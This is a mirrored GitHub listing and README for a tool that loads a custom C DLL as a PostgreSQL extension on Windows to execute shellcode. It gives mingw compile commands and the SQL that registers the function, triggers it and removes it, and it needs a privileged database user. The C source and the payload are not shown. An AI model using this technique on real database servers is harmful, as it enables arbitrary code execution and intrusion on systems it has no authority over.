https://github.com/darkcodersc/execute-shellcode-pgext

Postgres Extension to Execute Shellcodes
https://github.com/darkcodersc/execute-shellcode-pgext

postgresql postgresql-extension python shellcode

Last synced: 3 months ago
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Postgres Extension to Execute Shellcodes

• Host: GitHub
• URL: https://github.com/darkcodersc/execute-shellcode-pgext
• Owner: DarkCoderSc
• Created: 2020-11-27T11:54:10.000Z (over 4 years ago)
• Default Branch: main
• Last Pushed: 2020-11-27T11:57:27.000Z (over 4 years ago)
• Last Synced: 2025-03-18T20:40:46.404Z (4 months ago)
• Topics: postgresql, postgresql-extension, python, shellcode
• Language: C
• Homepage:
• Size: 2.93 KB
• Stars: 14
• Watchers: 2
• Forks: 6
• Open Issues: 0
• Metadata Files:
  • Readme: README.md

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README

        
# Postgres Shellcode Execute Extension

More information: https://www.phrozen.io/resources/paper/41df297b-cfe3-43ec-88e8-0686e5548dd5

## Compile Extension (Mingw 64bit / Microsoft Windows)

### Postgresql 13.1 (Adapt with your version)

`x86_64-w64-mingw32-gcc.exe PgShellcodeExt.c -c -o PgShellcodeExt.o -I "C:\Program Files\PostgreSQL\13\include" -I "C:\Program Files\PostgreSQL\13\include\server" -I "C:\Program Files\PostgreSQL\13\include\server\port\win32"`

`x86_64-w64-mingw32-gcc.exe -o PgShellcodeExt.dll -s -shared PgShellcodeExt.o -Wl,--subsystem,windows`

### Register and execute extension (Requires privileged postgres user)

```

-- Register new function

CREATE OR REPLACE FUNCTION shellcode() RETURNS void AS 'PgShellcodeExt.dll', 'shellcode' LANGUAGE C STRICT;

-- Trigger function

SELECT shellcode();

-- Delete function

DROP FUNCTION IF EXISTS shellcode;

```